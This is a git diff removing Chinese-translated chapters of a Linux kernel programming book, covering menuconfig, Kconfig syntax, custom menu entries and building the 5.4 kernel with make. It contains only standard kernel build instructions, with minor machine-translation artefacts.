Enable different security models` *(注:对于生产系统,保持此状态通常更安全!)** | `CONFIG_SECURITY` | `y` - > `n` | -| 内核调试:堆栈利用信息 | `Kernel hacking / Memory Debugging / Stack utilization instrumentation` | `CONFIG_DEBUG_STACK_USAGE` | `n` - > `y` | - -Table 2.4 – Items to configure - -你具体如何解读这张表?我们以第一行为例;我们一栏一栏地看: - -* **第一列**指定了我们想要修改的内核*特性*(编辑/启用/禁用)。这里,它是内核版本字符串的最后一部分(如`uname -r`的输出所示)。它被称为版本的`-EXTRAVERSION`组件(详见*内核版本命名*部分)。 - -* **第二列**指定两件事: - * 第一,我们想要做的。在这里,我们要设置内核释放字符串的`-EXTRAVERSION`组件。 - * 第二,显示了这个内核配置选项在`menuconfig`界面中的位置。在这里,它在`General Setup`子菜单中,在它下面是名为`Local version - append to kernel release` *的菜单项。*我们写为`General Setup / Local version - append to kernel release`。 -* **第三列**指定内核配置选项的名称为`CONFIG_`。如果需要,您可以在菜单系统中进行搜索。在这个例子中,它被称为`CONFIG_LOCALVERSION`。 -* **第四列**显示了该内核配置选项的原始*值*以及我们希望您将其更改为的值(“新”值)。格式为*原值- >新值。*在我们的示例中,它是`(none) -> -llkd01`,这意味着`-EXTRAVERSION`字符串组件的原始值为空,我们希望您修改它,将其更改为值`-llkd01`。 - -另一方面,对于我们展示的几个项目,它可能不会立即显现出来——比如`n -> m`;这是什么意思?`n -> m`意味着您应该将原始值从`n`(未选择)更改为`m`(选择作为内核模块构建)。类似地,`y -> n`字符串表示将配置选项从开更改为关。 - -You can *search* for kernel config options within the `menuconfig` system UI by pressing the / key (just as with vi; we show more on this in the section that follows). - -然后(实际上,在接下来的章节中),我们将使用这些新的配置选项构建内核(和模块),从其中启动,并验证前面的内核配置选项是否按照我们的要求进行了设置。 - -但是现在,你应该做你该做的:启动菜单用户界面(用通常的`make menuconfig`),然后导航菜单系统,找到前面描述的相关内核配置选项,并根据需要编辑它,到前面表格中显示的第四列。 - -Note that, depending on the Linux distribution you're currently running and its kernel modules (we used `lsmod(8)` to generate an initial config, remember?), the actual values and defaults you see when configuring the kernel might differ from that of the *Ubuntu 18.04.3 LTS* distribution (running the 5.0.0-36-generic kernel), as we have used and shown previously. - -在这里,为了保持讨论的理智和紧凑,我们将只显示设置上表中所示的第二个和第三个内核配置选项的完整的详细步骤(T0)。剩下的由你来编辑。我们走吧: - -1. 将目录更改为内核源代码树的根目录(无论您在磁盘上的何处提取它): - -```sh -cd ${LLKD_KSRC} -``` - -2. 基于前面描述的第三种方法(在*通过 localmodconfig 方法调整内核配置*部分)建立一个初始内核配置文件: - -```sh -lsmod > /tmp/lsmod.now -make LSMOD=/tmp/lsmod.now localmodconfig -``` - -3. 运行用户界面: - -```sh -make menuconfig -``` - -4. 一旦`menuconfig`用户界面加载完毕,进入`General Setup`菜单项。通常是 x86-64 上的第二项。使用键盘箭头键导航到它,并按下*回车*键进入它。 -5. 您现在进入`General Setup`菜单项。按几次向下箭头键向下滚动菜单项。我们向下滚动到我们感兴趣的菜单–`Kernel .config support`–并突出显示它;屏幕应该是这样的: - -![](img/16adf547-a848-43af-8ba8-f17e90b971b3.png) - -Figure 2.6 – Kernel configuration via make menuconfig; General setup / Kernel .config support For the 5.4.0 vanilla Linux kernel on the x86-64, `General Setup / Kernel .config support` is the 20th menu item from the top of the `General Setup` menu. - -6. 一旦进入`Kernel .config support`菜单项,我们可以从其``前缀中看到(在前面的截图中),它是一个三态菜单项,首先被设置为模块的选项``。 -7. 保持该项目(`Kernel .config support`)高亮显示,使用右箭头键导航至底部工具栏上的`< Help >`按钮,并在按下`< Help >`按钮的同时按下*回车*键。屏幕现在应该是这样的: - -![](img/2e60495a-dea8-4035-85e5-c1087b20f220.png) - -Figure 2.7 – Kernel configuration via make menuconfig; an example help screen - -帮助屏幕信息非常丰富。事实上,一些内核配置帮助屏幕填充得非常好,而且实际上很有帮助。不幸的是,有些人不是。 - -8. 好的,接下来,按下`< Exit >`按钮上的*进入*,我们回到上一个画面。 -9. 然后按空格键切换`Kernel .config support`菜单项(假设最初是这样:``;即,设置为模块)。按一次空格键会使用户界面项目显示如下: - -```sh -<*> Kernel .config support -[ ] Enable access to .config through /proc/config.gz (NEW) -``` - -请注意它是如何变成`<*>`的,这意味着这个特性将被内置到内核映像本身中(实际上,它将始终处于上的*)。现在,让我们这样做(当然,再次按下空格键会将其切换到关闭状态,`< >`,然后返回到原始的``状态)。* - -10. 现在,项目处于`<*>`(是)状态,向下滚动到下一个菜单项`[*] Enable access to .config through /proc/config.gz`,并启用它(再次,通过按空格键);屏幕现在应该像这样出现(我们只放大了相关部分): - -![](img/1705843f-80b5-475d-9ae8-1d8882f0d87b.png) - -Figure 2.8 – Kernel configuration via make menuconfig: toggling a Boolean config option to the on state You can always use the right arrow key to go to `< Help >` and view the help screen for this item as well. - -在这里,我们将不探究剩余的内核配置菜单;我将让您按照上表所示进行查找和设置。 - -11. 回到主菜单(主屏幕),使用右箭头键导航至`< Exit >`按钮,并按下其上的*进入*。弹出一个对话框: - -![](img/30fe839c-5bac-4cac-b755-5a856778b673.png) - -Figure 2.9 – Kernel configuration via make menuconfig: save dialog - -很简单,不是吗?按下`< Yes >`按钮上的*进入*保存并退出。如果您选择`< No >`按钮,您将丢失所有配置更改(在此会话期间所做的更改)。或者,您可以按两次 *Esc* 键*来取消该对话框并继续进行内核配置。* - - *12. 保存并退出。在`< Yes >`按钮上按下*进入*。菜单系统 UI 现在保存新的内核配置,进程退出;我们又回到了控制台(Shell 或终端窗口)提示。 - -但是新的内核配置保存在哪里呢?这一点很重要:内核配置被写入内核源码树根的一个简单的 ASCII 文本文件中,命名为 **`.config`** 。也就是保存在`${LLKD_KSRC}/.config`里。 - -如前所述,每个内核配置选项都与一个形式为`CONFIG_`的配置变量相关联,其中``当然会被一个适当的名称替换。在内部,这些成为构建系统和内核源代码使用的*宏*。例如,考虑`Kernel .config support`选项: - -```sh -$ grep IKCONFIG .config -CONFIG_IKCONFIG=y -CONFIG_IKCONFIG_PROC=y -$ -``` - -啊哈!该配置现在反映了我们已经完成以下工作的事实: - -* 打开`CONFIG_IKCONFIG`内核功能(`=y`表示它已打开,并将被内置到内核映像中)。 -* `/proc/config.gz`(伪)文件现在将可用,如`CONFIG_IKCONFIG_PROC=y`。 - -Caution*:* it's best to NOT attempt to edit the `.config` file manually ("by hand"). There are several inter-dependencies you may not be aware of; always use the kbuild menu system (we suggest via `make menuconfig`) to edit it. - -事实上,在我们到目前为止使用 kbuild 系统的快速冒险中,引擎盖下已经发生了很多事情。下一节将对此进行一些研究,在菜单系统中进行搜索,并清晰地可视化原始(或旧的)和新的内核配置文件之间的差异。 - -## 关于 kbuild 的更多信息 - -通过`make menuconfig`或其他方法在内核源代码树的根中创建或编辑`.config`文件并不是 kbuild 系统如何使用配置的最后一步。不,它现在继续在内部调用一个名为`syncconfig`的目标,这个目标之前(误)名为`silentoldconfig`。这个目标让 kbuild 生成一些头文件,这些头文件将在构建内核的设置中进一步使用。这些文件包括`include/config`下的一些元头文件,以及`include/generated/autoconf.h`头文件,该文件将内核配置存储为 C 宏,从而使内核 Makefile 和内核代码能够根据内核功能是否可用来做出决定。 - -接下来,如果您正在寻找一个特定的内核配置选项,但是发现它有困难怎么办?没问题,`menuconfig` UI 系统有`Search Configuration Parameter` 功能。就像著名的`vi(1)`编辑器一样,按`/`(正斜杠)键弹出一个搜索对话框,然后输入您的搜索词,前面有或没有`CONFIG_`,并选择`< Ok >`按钮让它继续。 - -以下几个截图显示了搜索对话框和结果对话框(例如,我们搜索了术语`vbox`): - -![](img/b09a514c-3cda-42c7-81cd-ef2c0e7b3a0f.png) - -Figure 2.10 – Kernel configuration via make menuconfig: searching for a config parameter - -前面搜索的结果对话框很有趣。它揭示了关于配置选项的几条信息: - -* 配置指令(只需在`Symbol:`中显示的内容前加上`CONFIG_`) -* 配置的类型(布尔、三态、字母数字等) - -* 提示字符串 -* 重要的是,它在菜单系统中的位置(所以你可以找到它) -* 它的内部依赖关系,如果有的话 -* 任何它自动选择(打开)的配置选项,如果它本身被选中的话 - -以下是结果对话框的屏幕截图: - -![](img/900acdf5-16fa-47ef-a5a8-f021ad5d599c.png) - -Figure 2.11 – Kernel configuration via make menuconfig: the result dialog from the preceding search - -所有这些信息都存在于 kbuild 系统用来构建菜单系统 UI 的 ASCII 文本文件中——这个文件被称为`Kconfig`(实际上有好几个)。它的位置也显示出来了(在`Defined at ...`行)。 - -### 查找配置中的差异 - -在`.config`内核配置文件将要被写入的时刻,kbuild 系统检查它是否已经存在,如果存在,它用名称`.config.old`备份它。知道了这一点,我们就能区分两者,看到我们所做的改变。然而,用你典型的`diff(1)`工具来做这件事,会使差异很难解释。内核提供了一个更好的方法,一个基于控制台的脚本,专门做这一点。`scripts/diffconfig`脚本(在内核源代码树中)对此非常有用。要了解原因,让我们先运行它的帮助屏幕: - -```sh -$ scripts/diffconfig --help -Usage: diffconfig [-h] [-m] [ ] - -Diffconfig is a simple utility for comparing two .config files. -Using standard diff to compare .config files often includes extraneous and -distracting information. This utility produces sorted output with only the -changes in configuration values between the two files. - -Added and removed items are shown with a leading plus or minus, respectively. -Changed items show the old and new values on a single line. -[...] -``` - -现在,我们尝试一下: - -```sh -$ scripts/diffconfig .config.old .config --AX25 n --DEFAULT_SECURITY_APPARMOR y --DEFAULT_SECURITY_SELINUX n --DEFAULT_SECURITY_SMACK n -[...] --SIGNATURE y - DEBUG_STACK_USAGE n -> y - DEFAULT_SECURITY_DAC n -> y - FS_DAX y -> n - HAMRADIO y -> n - IKCONFIG m -> y - IKCONFIG_PROC n -> y - LOCALVERSION "" -> "-llkd01" - MSDOS_FS n -> m - PROFILING y -> n - SECURITY y -> n - UIO n -> m -+UIO_AEC n - VBOXGUEST n -> m -[...] -$ -``` - -如果您如上表所示修改了内核配置更改,那么您应该会通过内核的`diffconfig`脚本看到类似于前面代码块所示的输出。它清楚地向我们展示了我们究竟更改了哪些内核配置选项以及如何更改的。 - -在我们结束之前,先简要说明一些重要的事情:*内核安全性*。虽然用户空间安全强化技术有了很大发展,但内核空间安全强化技术实际上正在迎头赶上。内核配置选项的仔细配置在确定给定 Linux 内核的安全状态方面确实起着关键作用;问题是,有太多的选择(实际上是意见),以至于通常很难(交叉)检查什么是安全方面的好主意,什么不是。亚历山大·波波夫写了一个非常有用的 Python 脚本名为`kconfig-hardened-check`;可以运行它来检查给定的内核配置(通过通常的配置文件)并将其与一组预定的强化首选项(来自各种 Linux 内核安全项目:众所周知的**内核自我保护项目** ( **KSPP** )、最后一个公共 grsecurity 补丁、CLIP OS 和安全锁定 LSM)进行比较。在[https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)查找`kconfig-hardened-check` GitHub 资源库并试用! - -好吧。您现在已经完成了 Linux 内核构建的前三个步骤,这是一件了不起的事情。(当然,我们将在下一章完成构建过程中的其余四个步骤。)本章最后,我们将学习一项有用的技能——如何定制内核 UI 菜单。 - -# 定制内核菜单–添加我们自己的菜单项 - -因此,假设您已经开发了一个设备驱动程序、一个实验性的新调度类、一个定制的`debugfs`(调试文件系统)回调,或者一些其他很酷的内核特性。你将如何让团队中的其他人——或者你的客户——知道这个奇妙的新内核特性的存在,并允许他们选择它(作为一个内置的或者作为一个内核模块),从而构建和利用它?答案是在内核配置菜单的适当位置插入*一个新的菜单项*。 - -要做到这一点,首先多了解一些各种`Kconfig*`文件及其所在位置是很有用的。我们来看看。 - -## Kconfig*文件 - -内核源码树根部的`Kconfig`文件用来填充`menuconfig` UI 的初始屏幕。如果你愿意,可以看看。它通过在内核源代码树的不同文件夹中获取各种其他`Kconfig`文件来工作。下表总结了更重要的`Kconfig*`文件以及它们在 kbuild 用户界面中提供的菜单: - -| 菜单 | **它的 Kconfig 文件位置** | -| 主菜单,初始屏幕 | `Kconfig` | -| 常规设置+启用可加载模块支持 | `init/Kconfig` | -| 处理器类型和功能 -+总线选项+二进制仿真 -(特定于 arch 菜单标题上方是针对 x86 的;一般来说,Kconfig 文件在这里:`arch//Kconfig`) | `arch//Kconfig` | -| 动力管理 | `kernel/power/Kconfig` | -| 固件驱动程序 | `drivers/firmware/Kconfig` | -| 虚拟化 | `arch//kvm/Kconfig` | -| 常规架构相关选项 | `arch/Kconfig` | -| 启用块层 -+输入输出调度器 | `block/Kconfig` | -| 可执行文件格式 | `fs/Kconfig.binfmt` | -| 内存管理选项 | `mm/Kconfig` | -| 网络支持 | `net/Kconfig, net/*/Kconfig` | -| 设备驱动程序 | `drivers/Kconfig, drivers/*/Kconfig` | -| 文件系统 | `fs/Kconfig, fs/*/Kconfig` | -| 安全选项 | `security/Kconfig, security/*/Kconfig*` | -| 加密应用编程接口 | `crypto/Kconfig, crypto/*/Kconfig` | -| 库例程 | `lib/Kconfig, lib/*/Kconfig` | -| 内核黑客 | `lib/Kconfig.debug, lib/Kconfig.*` | - -Table 2.5 – Kernel config menu items and the corresponding Kconfig* file defining them - -通常,单个`Kconfig`文件驱动单个菜单。现在,让我们继续实际添加菜单项。 - -## 在 Kconfig 文件中创建新菜单项 - -作为一个简单的例子,让我们在`General Setup`菜单中添加我们自己的布尔虚拟配置选项。我们希望配置名是`CONFIG_LLKD_OPTION1`。从上表可以看出,要编辑的相关`Kconfig`文件是`init/Kconfig`文件,因为这是定义`General Setup`菜单的菜单元文件。 - -让我们开始吧: - -1. 为了安全起见,请务必制作一份备份: - -```sh -cp init/Kconfig init/Kconfig.orig -``` - -2. 现在,编辑`init/Kconfig`文件: - -```sh -vi init/Kconfig -``` - -向下滚动到文件中的适当位置;在这里,我们选择在`CONFIG_LOCALVERSION_AUTO`之后插入我们的菜单项。下面的截图显示了我们的新条目: - -![](img/e2f684bd-62e5-44ba-825b-631f291b2deb.png) - -Figure 2.12 – Editing init/Kconfig and inserting our own menu entry We have provided the preceding text as a patch to the original `init/Kconfig` file in our book's *GitHub* source tree. Find it under `ch2/Kconfig.patch`. - -新项目以`config`关键字开始,后跟新`CONFIG_LLKD_OPTION1`配置变量的`FOO`部分。现在,请阅读我们在`Kconfig`文件中对该条目所做的声明。关于`Kconfig`语言/语法的更多细节在后面的*关于 Kconfig 语言*部分的一些细节中。 - -3. 保存文件并退出编辑器。 -4. (重新)配置内核。导航到我们的新菜单项并打开该功能(请注意,在下面的截图中,它是如何高亮显示并关闭【默认情况下的 T0】): - -```sh -make menuconfig -[...] -``` - -输出如下: - -![](img/0d6de2ce-0e2c-456c-829f-58a5b07bcdce.png) - -Figure 2.13 – Kernel configuration via make menuconfig showing our new menu entry - -5. 打开(用空格键切换),然后保存并退出菜单系统。 - -While there, try pressing the `< Help >` button. You should see the "help" we provided within the `Kconfig` file. - -6. 检查是否选择了我们的功能: - -```sh -$ grep "LLKD_OPTION1" .config -CONFIG_LLKD_OPTION1=y -$ grep "LLKD_OPTION1" include/generated/autoconf.h -$ -``` - -我们发现在我们的`.config`文件中,它确实已经被设置为上的*,但是还没有!)在内核内部自动生成的头文件中。这将在我们构建内核时发生。* - -7. 构建内核(不用担心;下一章将介绍构建内核的全部细节。如果你愿意的话,你可以先学习第 3 章、*从源代码构建 5.x Linux 内核–第 2 部分*,然后再回到这一点...): - -```sh -make -j4 -``` - -8. 完成后,重新检查`autoconf.h`标题是否存在新的配置选项: - -```sh -$ grep "LLKD_OPTION1" include/generated/autoconf.h -#define CONFIG_LLKD_OPTION1 1 -``` - -成功了。是的,但是当处理一个实际的项目(或产品)时,我们通常需要进一步的步骤,在 Makefile 中设置与使用这个配置选项的代码相关的配置条目。 - -这里有一个简单的例子来说明这种情况。在内核的顶层(或无论哪个)Makefile 中,下面一行将确保我们自己的代码(下面是在`llkd_option1.c`源文件中)在构建时被编译到内核中。将此行添加到相关 Makefile 的末尾: - -```sh -obj-${CONFIG_LLKD_OPTION1} += llkd_option1.o -``` - -Don't stress about the fairly weird kernel Makefile syntax for now. The next few chapters will shed some light on this. - -此外,您应该意识到,在一段内核代码中,完全相同的配置可以用作普通的 C 宏;例如,我们可以这样做: - -```sh -#ifdef CONFIG_LLKD_OPTION1 - do_our_thing(); -#endif -``` - -然而,非常值得注意的是,Linux 内核社区已经设计并严格遵守了某些严格的编码风格准则。在这种情况下,指南指出应尽可能避免条件编译,如果要求使用`Kconfig`符号作为条件,请这样做: - -```sh -if (IS_ENABLED(CONFIG_LLKD_OPTION1)) { - do_our_thing(); -} -``` - -The Linux kernel *coding style guidelines* can be found here: [https://www.kernel.org/doc/html/latest/process/coding-style.html](https://www.kernel.org/doc/html/latest/process/coding-style.html). I urge you to refer to them often, and, of course, to follow them! - -## 关于 Kconfig 语言的一些细节 - -到目前为止,我们对`Kconfig`语言的使用只是众所周知的冰山一角。事实上,kbuild 系统使用`Kconfig`语言(或语法)来表达和创建菜单,使用简单的 ASCII 文本指令。该语言包括菜单项、属性、(反向)依赖关系、可见性约束、帮助文本等。 - -The kernel documents the `Kconfig` language constructs and syntax here: [https://www.kernel.org/doc/Documentation/kbuild/kconfig-language.txt](https://www.kernel.org/doc/Documentation/kbuild/kconfig-language.txt). Do refer to this document for complete details. - -下表给出了更常见的`Kconfig`结构的简要(且不完整)说明: - -| **构建** | **表示** | -| `config ` | 在此指定(表单`CONFIG_FOO`的)菜单项名称;只需放入`FOO`部分。 | -| **菜单属性** | | -| `bool [""]` | 将配置选项指定为*布尔型*;它在`.config`中的值要么是`Y`(内置在内核映像中),要么不存在(将显示为注释掉的条目)。 | -| `tristate ["description>"]` | 将配置选项指定为*三态*;它在`.config`中的值要么是`Y`、`M`(作为内核模块构建),要么不存在(将显示为注释掉的条目) | -| `int [""]` | 将配置选项指定为取*整数*值。 | -| `range x-y` | 整数范围从`x`到`y`。 | -| `default ` | 指定默认值;根据需要,使用`y`、`m`、`n`或其他。 - | -| `prompt ""` | 描述内核配置的句子。 | -| `depends on "expr"` | 定义菜单项的依赖关系;可以有几种同`depends on FOO1 && FOO2 && (FOO3 || FOO4)`类型的语法。 | -| `select [if "expr"]` | 定义反向依赖关系。 | -| `help "help-text"` | 选择`< Help >`按钮时显示的文本。 | - -Table 2.6 – Kconfig, a few constructs - -为了帮助理解语法,下面是几个来自`lib/Kconfig.debug`(描述`Kernel Hacking`菜单项的文件-内核调试,用户界面的真实部分)的例子: - -1. 我们将从一个简单的选项开始: - -```sh -config DEBUG_INFO - bool "Compile the kernel with debug info" - depends on DEBUG_KERNEL && !COMPILE_TEST - help - If you say Y here the resulting kernel image will include - debugging info resulting in a larger kernel image. [...] -``` - -2. 接下来,我们来看看`CONFIG_FRAME_WARN`选项。请注意`range`和条件默认值语法,如下所示: - -```sh -config FRAME_WARN - int "Warn for stack frames larger than (needs gcc 4.4)" - range 0 8192 - default 3072 if KASAN_EXTRA - default 2048 if GCC_PLUGIN_LATENT_ENTROPY - default 1280 if (!64BIT && PARISC) - default 1024 if (!64BIT && !PARISC) - default 2048 if 64BIT - help - Tell gcc to warn at build time for stack frames larger than this. - Setting this too low will cause a lot of warnings. - Setting it to 0 disables the warning. - Requires gcc 4.4 -``` - -3. 接下来,`CONFIG_HAVE_DEBUG_STACKOVERFLOW`选项是一个简单的布尔值;不是开就是关。`CONFIG_DEBUG_STACKOVERFLOW`选项也是一个布尔值。请注意它如何依赖于另外两个选项,用布尔 AND ( `&&`)运算符分隔: - -```sh -config HAVE_DEBUG_STACKOVERFLOW - bool - -config DEBUG_STACKOVERFLOW - bool "Check for stack overflows" - depends on DEBUG_KERNEL && HAVE_DEBUG_STACKOVERFLOW - ---help--- - Say Y here if you want to check for overflows of kernel, IRQ - and exception stacks (if your architecture uses them). This - option will show detailed messages if free stack space drops - below a certain limit. [...] -``` - -好吧。这就完成了我们在内核配置中创建(或编辑)一个自定义菜单项的内容,实际上也是本章的内容。 - -# 摘要 - -在本章中,您首先学习了如何为自己获取一个 Linux 内核源代码树。然后,您理解了它的发行版(或版本)命名法,各种类型的 Linux 内核(`-next`树、`-rc`/主线树、稳定、LTS、SLTS 和发行版),以及基本的内核开发工作流。一路上,你甚至可以快速浏览内核源代码树,这样它的布局就更清晰了。接下来,您看到了如何将压缩的内核源树提取到磁盘,关键是如何配置内核——这是这个过程中的一个关键步骤。此外,您还学习了如何定制内核菜单,向其中添加您自己的条目,以及一点关于 kbuild 系统及其使用的相关`Kconfig`文件等。 - -知道如何获取和配置 Linux 内核是一项有用的技能。我们刚刚开始这个漫长而激动人心的旅程。您将意识到,随着对内核内部、驱动程序和目标系统硬件的更多经验和知识,您根据项目目的微调内核的能力只会变得更好。 - -我们已经走到一半了;我建议你先消化这份材料,更重要的是——尝试本章中的步骤,做问题/练习,浏览*进一步阅读*部分。然后,在下一章中,让我们实际构建 5.4.0 内核并验证它! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。**** \ No newline at end of file diff --git a/docs/linux-kernel-prog/03.md b/docs/linux-kernel-prog/03.md deleted file mode 100644 index 0953d603..00000000 --- a/docs/linux-kernel-prog/03.md +++ /dev/null @@ -1,1177 +0,0 @@ -# 三、从源码构建 5.x Linux 内核——第二部分 - -这一章延续了前一章的内容。在前一章中,在*从源代码构建内核的步骤*部分*、*中,我们介绍了构建内核的前三个步骤。在那里,你学会了如何下载并提取内核源码树甚至`git clone`一个(*步骤 1* 和 *2* )。然后,我们开始理解内核源代码树布局,以及非常重要的是,正确到达配置内核的起点的各种方法(*步骤 3* )。我们甚至在内核配置菜单中添加了一个自定义菜单项。 - -在这一章中,我们继续探索如何构建内核,涵盖了实际构建内核的其余四个步骤。首先,当然,我们构建它(*第 4 步*)。然后,您将看到如何正确安装作为构建的一部分生成的内核模块(*步骤 5* )。接下来,我们运行一个简单的命令来设置 GRUB 引导加载程序并生成`initramfs`(或`initrd`)图像(*第 6 步*)。还讨论了使用`initramfs`图像的动机以及如何使用。接下来将介绍配置 GRUB 引导加载程序(适用于 x86)的一些细节(*第 7 步*)。 - -本章结束时,我们将使用新的内核映像引导系统,并验证它是否如预期那样构建。然后,我们将通过学习如何*交叉编译*一个用于国外架构的 Linux 内核(也就是 ARM,讨论中的板是众所周知的树莓 Pi)来结束。 - -简而言之,这些是涵盖的领域: - -* 步骤 4–构建内核映像和模块 -* 步骤 5–安装内核模块 - -* 步骤 6–生成 initramfs 映像和引导加载程序设置 -* 理解 initramfs 框架 -* 步骤 7–定制 GRUB 引导加载程序 - -* 验证我们新内核的配置 -* 树莓皮的内核构建 -* 内核构建的其他技巧 - -# 技术要求 - -在我们开始之前,我假设您已经下载、提取(如果需要)并配置了内核,从而准备好了`.config`文件。如果您还没有这样做,请参考上一章了解具体是如何做到的。我们现在可以开始建造了。 - -# 步骤 4–构建内核映像和模块 - -从最终用户的角度执行构建实际上非常简单。在最简单的形式中,只需确保您位于已配置内核源代码树的根目录中,然后键入`make`。就是这样——内核映像和任何内核模块(在嵌入式系统上,可能是一个**设备树 Blob** ( **DTB** )二进制文件)将被构建。去喝杯咖啡!第一次,可能需要一段时间。 - -当然还有各种`Makefile`目标我们可以传递给`make`。命令行上快速发出的`make help`命令透露了不少。请记住,事实上,我们之前使用这个来查看所有可能的配置目标。在这里,我们使用它来查看`all`目标默认构建的内容: - -```sh -$ cd ${LLKD_KSRC} # the env var LLKD_KSRC holds the 'root' of our - # 5.4 kernel source tree -$ make help -[...] -Other generic targets: - all - Build all targets marked with [*] -* vmlinux - Build the bare kernel -* modules - Build all modules -[...] -Architecture specific targets (x86): -* bzImage - Compressed kernel image (arch/x86/boot/bzImage) -[...] -$ -``` - -好的,那么执行`make all`会得到前面的三个目标,前缀为`*`的目标;他们是什么意思? - -* `vmlinux`实际上匹配未压缩内核映像的名称。 -* `modules`目标意味着所有标记为`m`(用于模块)的内核配置选项将被构建为内核源树中的内核模块(`.ko`文件)(关于内核模块到底是什么以及如何编程的细节是下面两章的主题)。 -* `bzImage`是特定于架构的。在 x86[-64]系统上,这是压缩内核映像的名称——引导加载程序将实际加载到内存中、在内存中解压缩并引导到的映像;实际上,内核映像文件。 - -那么,一个常见问题:如果`bzImage`是我们用来引导和初始化系统的实际内核,那么`vmlinux`是干什么用的?注意`vmlinux`是未压缩的内核镜像。它可能很大(甚至非常大,因为在调试构建期间生成了内核符号)。虽然我们从不通过`vmlinux`启动,但它仍然很重要。出于内核调试的目的,一定要保留它(不幸的是,这超出了本书的范围)。 - -With the kbuild system, just running a `make` command equates to `make all`. - -内核代码库非常庞大。目前的估计是 2000 万行源代码 ( **SLOC** )因此,构建内核确实是一项非常消耗内存和 CPU 的工作。的确,有些人把内核构建作为压力测试!现代`make(1)`实用程序功能强大,支持多进程。我们可以请求它产生多个进程来并行处理构建的不同(不相关的)部分,从而提高吞吐量并缩短构建时间。相关选项是`-j'n'`,其中`n`是并行产生和运行的任务数量上限。用于确定这一点的启发式方法(经验法则)如下: - -```sh -n = num-CPU-cores * factor; -``` - -这里,`factor`为 2(或者在拥有数百个 CPU 内核的非常高端的系统上为 1.5)。此外,在技术上,我们要求内核具有内部“线程”或使用**同步多线程**(**SMT**)—英特尔称之为*超线程*—这样的启发才会有用。 - -More details on parallelized `make` and how it works can be found in the man page of `make(1)` (invoked with `man 1 make`) in the `PARALLEL MAKE AND THE JOBSERVER` section. - -另一个常见问题:你的系统上有多少个中央处理器内核*?有几种方法可以确定这一点,一个简单的方法是使用`nproc(1)`实用程序:* - -```sh -$ nproc -2 -``` - -A quick word regarding `nproc(1)` and related utilities: -a) Performing `strace(1)` on `nproc(1)` reveals that it works by essentially using the `sched_getaffinity(2)` system call. We shall mention more on this and related system calls in [Chapter 9](10.html), *The CPU Scheduler – Part 1*, and [Chapter 10](11.html), *The CPU Scheduler – Part 2*, on CPU scheduling. -b) FYI, the `lscpu(1)` utility yields the number of cores as well as additional useful CPU info. For example, it shows whether it's running on a **Virtual Machine** (**VM**) (as does the `virt-what` script). Try it out on your Linux system. - -显然,我们的来宾虚拟机已经配置了两个 CPU 内核,所以让我们保留`n=2*2=4`。所以,我们开始构建内核。以下输出来自我们值得信赖的 x86_64 Ubuntu 18.04 LTS 来宾系统,该系统配置有 2 GB 内存和两个中央处理器内核。 - -Remember, the kernel must first be *configured.* For details, refer to [Chapter 2](02.html), *Building the 5.x Linux Kernel from Source – Part 1*. - -同样,当您开始时,内核构建完全有可能发出警告,尽管在这种情况下不是致命的: - -```sh -$ time make -j4 -scripts/kconfig/conf --syncconfig Kconfig - UPD include/config/kernel.release -warning: Cannot use CONFIG_STACK_VALIDATION=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel -[...] -``` - -因此,为了解决这个问题,我们用 *Ctrl* + *C* 中断构建,然后按照输出的建议安装`libelf-dev`包。在我们的 Ubuntu 盒子上,`sudo apt install libelf-dev`就足够了。如果您遵循第 1 章、*内核工作空间设置*中的详细设置,这将不会发生。重试,它现在起作用了!为了让您对此有所了解,我们展示了以下构建输出的小片段。不过,真的,最好还是自己去尝试一下: - -Precisely because the kernel build is very CPU- and RAM-intensive, carrying this out on a guest VM is going to be a lot slower than on a native Linux system. It helps to conserve RAM by at least booting your guest at run-level 3 (multiuser with networking, no GUI): [https://www.if-not-true-then-false.com/2012/howto-change-runlevel-on-grub2/](https://www.if-not-true-then-false.com/2012/howto-change-runlevel-on-grub2/). - -```sh -$ cd ${LLKD_KSRC} $ time make -j4 scripts/kconfig/conf --syncconfig Kconfig SYSHDR arch/x86/include/generated/asm/unistd_32_ia32.h - SYSTBL arch/x86/include/generated/asm/syscalls_32.h -[...] - DESCEND objtool - HOSTCC /home/llkd/kernels/linux-5.4/tools/objtool/fixdep.o - HOSTLD /home/llkd/kernels/linux-5.4/tools/objtool/fixdep-in.o - LINK /home/llkd/kernels/linux-5.4/tools/objtool/fixdep -[...] - -[...] - LD vmlinux.o - MODPOST vmlinux.o - MODINFO modules.builtin.modinfo - LD .tmp_vmlinux1 - KSYM .tmp_kallsyms1.o - LD .tmp_vmlinux2 - KSYM .tmp_kallsyms2.o - LD vmlinux - SORTEX vmlinux - SYSMAP System.map - Building modules, stage 2. - MODPOST 59 modules - CC arch/x86/boot/a20.o -[...] - LD arch/x86/boot/setup.elf - OBJCOPY arch/x86/boot/setup.bin - BUILD arch/x86/boot/bzImage -Setup is 17724 bytes (padded to 17920 bytes). -System is 8385 kB -CRC 6f010e63 - CC [M] drivers/hid/hid.mod.o -Kernel: arch/x86/boot/bzImage is ready (#1) -``` - -好了,内核映像(这里叫做`bzImage`)和`vmlinux`文件已经通过将生成的各种对象文件拼接在一起成功构建,正如前面的输出中所看到的——前面的块中的最后一行证实了这一事实。但是等等,建造还没有完成。kbuild 系统现在继续完成所有内核模块的构建;输出的最后一部分如下所示: - -```sh -[...] - CC [M] drivers/hid/usbhid/usbhid.mod.o - CC [M] drivers/i2c/algos/i2c-algo-bit.mod.o -[...] - LD [M] sound/pci/snd-intel8x0.ko - LD [M] sound/soundcore.ko - -real 17m31.980s -user 23m58.451s -sys 3m22.280s -$ -``` - -整个过程似乎总共花了大约 17.5 